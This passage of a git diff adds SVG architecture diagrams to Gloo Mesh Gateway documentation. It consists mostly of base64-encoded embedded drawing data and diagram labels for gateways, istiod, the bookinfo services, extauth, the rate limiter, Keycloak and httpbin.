NLJm+1x1MDAxMIZhbclcbtVD7vsnXHKhx9dqfD9Jq1H97jb3ZDvHi1x1MDAwZeiTXHUwMDBlsTtYJI8q6MNMXHUwMDE4X4u7qHWUYF/+7kVVr9RUXHUwMDBmzmm2ctE4eS4+42/Yty3Yt6Pl/Vx1MDAxZfZ72GVo0v+Be0STilvr+lMsXHUwMDA1W6VrSfBqRlx1MDAxN0uSICWmabSwJJ31XHUwMDFh0n9W1Yw+POao1Ww3h5ZaXHUwMDE5a1x1MDAwM8olx1x1MDAwM0tQ2Vwippyb5/rAUkprWTqCqV6o37KMLUns4+Eqq1gqLXvDxtmo8DZcdTAwMWU2I48seYCBx1B0kaXp4G3aXHUwMDA2RVx1MDAxM1lcdTAwMTZcdTAwMWXucjJV/CDnmcdUXSRZb1J/+UaW20KWO1re72G/h93RsMtcdTAwMDCr/1x1MDAwM/dcdFiZvc9cdTAwMWVSjFx1MDAwYi7Cq8bg5YwuYkVBypFEXGaxXHUwMDAyXFwxxZD2eDa+XHUwMDBmxFqtNFx1MDAwN19cblWXwDxcdTAwMGZUnU1wLVx1MDAxNlxmXGKQXHUwMDA26jVp10iG71x1MDAwNXfLs4900p/0KW5fZdsx+fR69bpcdTAwMGU8/TpcdTAwMGU0zey5XHUwMDAzXHUwMDFjJlx1MDAwNNLYXHUwMDFkyDP5XHUwMDAx0alDjUGphVJcdTAwMWNcdHshkDCRKzZ8SqhPWSPpKfVhmodQoXZoLy5LhVx1MDAwZtJne4r08OVtXHUwMDE1lrfrrW73uF1cdTAwMWQ0jouVSrcz+KfTKcKvQEBVX45cdTAwMTfrxq5cdTAwMDWcdsx9i0XeXHUwMDBlmmAgx9vb23JhPXVkSFx1MDAxM6TIXG6prMG7XHUwMDFlUZbHhDiaK4wkYVx1MDAxNLH54lx1MDAxOIRg7CBcbjyPXGJiXHUwMDE0i4DG5Fx1MDAxYvA8XHUwMDA23c6JlJxcdTAwMTLCXHRXPn3JtXBgciB7wFx1MDAwNjVVfrxcdTAwMDEvXFxyjtxNcf+VtTGC1crRQjcySpiCV4WJXHUwMDA0me5qa/2zXHUwMDE2XHUwMDA1d1x1MDAwNNVaI3OMa6Q//nnDitUxgsM05yfFlDYuSWRcdTAwMWGlUYKQT/9H6lxiwjlTXHUwMDEyXGJSI3Xg/Vx1MDAxZo+t1G0uXHUwMDBmXX9cdTAwMGX3l/vn6qJccrbcalFcdTAwMDBs5aDGw/vAr09HYjzGp9MzOS1+JM9p+jiejLpoQ1Q6wpT9MVxy0yVb6P9ITMVa4FxmalqYu6PT1+lcdTAwMDJhk2xcdTAwMWOMXHUwMDE2bVabY0kod0WwfJZsxMJcdTAwMDHjhlxuKU1bTur1vc1K12C+wziLL1x1MDAxNW2LnLhcXL60Klx1MDAxN+e38czdcbXT7E/vz2Pipon95Fx1MDAwYnIowUpJiUw5R4a4V7pcdTAwMTDl6FklYnPkgJHaTlnY/UlcdTAwMTcrhc3e9Vx1MDAxMNeK4mVJqL81UFx1MDAwNFaf61naR2hcdTAwMTGTpY89dIymXHUwMDEz2kX9q+p9l7S0jLaIUUJcdTAwMDbme3PhaFBzXGL/KMJnL1x1MDAwYvv1jWawqUlOXHUwMDE52WPw1u9n+Fx1MDAxOVDDXuWjN2w1Xkjusp+97TePT5r+XHUwMDA21LdDf41MhN0s72FccrurXomHtVxuhzLsMo++/1x1MDAwMz+H9UisnbdKJPZUVc2pXHUwMDAwdIJW8C1cdTAwMDSuZ0Rd+qBcdTAwMWZcdTAwMDNcdTAwMGJlSeawbenHbfj0lcRUwub8UZmqne7wuNmZ+dW+1LG/XHUwMDA07y06/9zTXFxcdTAwMWayXG57XFxcdTAwMTiWXHUwMDE0U0XIXG79SzP8ZZC7aJSv0HNxqPkra79Wi9FcdTAwMGVBmUFWYT9l49ihUiBm/C9cdTAwMWPwu5Ulw8SgbFx1MDAxObJSZfJRVUST2tKP+dvmQ/myry9TibN7ju9cdTAwMWau3zZXpDtcdTAwMWF2V0j44yZ30meNerb/cnrDkolkh9ZcdTAwMWW3MO5bXHUwMDFmn+ZrXHUwMDA1Rbq8Vr3s39VEM75ccrB2WLv2Pewuhl1cdTAwMDYt/Vx1MDAxZlx1MDAxOHK2jfdm9vnqpJR6yj6LSnuIzmNEhiPcL4eswlx1MDAxNWPigaymsitdJd87eJ+iXGZZXHUwMDAz9KNQjtqWftxKXHUwMDE4ilbEXHUwMDE0evnTSvh9PV5dXHUwMDAy9ryF+0JgVSsjansoXG7lM5uJhFx1MDAwZkXpoFTubcJrXHUwMDBmb7JcdTAwMTnrZoh6LdSq68DUL2RDxaRcdTAwMDNQjzBA5ObseZ5ccjFFXHUwMDBlZ+aIS1x1MDAwMWjf1ak084Gl3khcdTAwMTSYhcJcXJNcdTAwMWRW59skXHUwMDE05Wpwcnr9fJWLV6pcdTAwMTdkKFxuXHUwMDA0J9r93etcdTAwMWZf/lx1MDAwZVx1MDAxZIrSXHUwMDE4XHUwMDBle6VmJ3JcdTAwMTEoPvNcbuRv++msYNbSKkxjXHUwMDBlinaFOmbBe1x1MDAxY1FcdTAwMDaXXG5YmFx1MDAxYb9cdTAwMGZAXHUwMDBipudcdTAwMTnc1C8yh7NCzrrm0Fx1MDAwMNfQJlx1MDAxY460w1x1MDAwNDGVQTGlnFx1MDAxMulleKVcdTAwMWNter9cdTAwMTGpseDaXHUwMDFieDLreYGJ3lx1MDAxZvt/SeBJsFx1MDAxMjlaXGI8XHUwMDExXHUwMDE4pDbDgmDQV2RZ4Fx0094mKKFcdTAwMGWG44T0n8qxoixcXD1O1On7+bCQylomJYhcdTAwMDBwJ1xmiNWcXHUwMDEwb5c/glx1MDAxY6JNXHUwMDE3aYa05HCzt1fMQZ1cZtup21xcXHUwMDFluv5cdTAwMWPvL/fPlUVcdTAwMWLDdiOCXHUwMDExzSlA6/DY5aTTeYy1xq2P4zat4n5mevLwYVx1MDAxM22RMVwiNMfI3rKcYCTcfm+7bFx1MDAwYlx1MDAxMcpurTQsXHUwMDFk6bpcdTAwMTTx6Tjl6lx1MDAwMfpTllx1MDAwMWtQilx1MDAxMP2X9M+zR5rMvXNIXFxt3VZzXHUwMDAxy6/IxTZcdTAwMDPEXVx1MDAwYtxcdTAwMTNcdTAwMGJPkcaahC/G81x1MDAxYX/JXFxcdTAwMTfaLJe/UmpUT912XHUwMDFhT7ZQ+OjwMFx1MDAxNsClmiBBZ69cdTAwMGJcdTAwMTZcYmBcdTAwMTNHK6BIXHUwMDAxwlOigFj4XHUwMDEwoVx1MDAxZNZq4T54hIhFptWMIM1cdTAwMTQ91MjXtTxcdTAwMDDv2NdcInCJ2q+xXGLe8XpcdTAwMTY+gHxcdTAwMWKDXHSKlCaUhVeSp/VJrSVcdTAwMWHXyetJalxcXHUwMDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46Z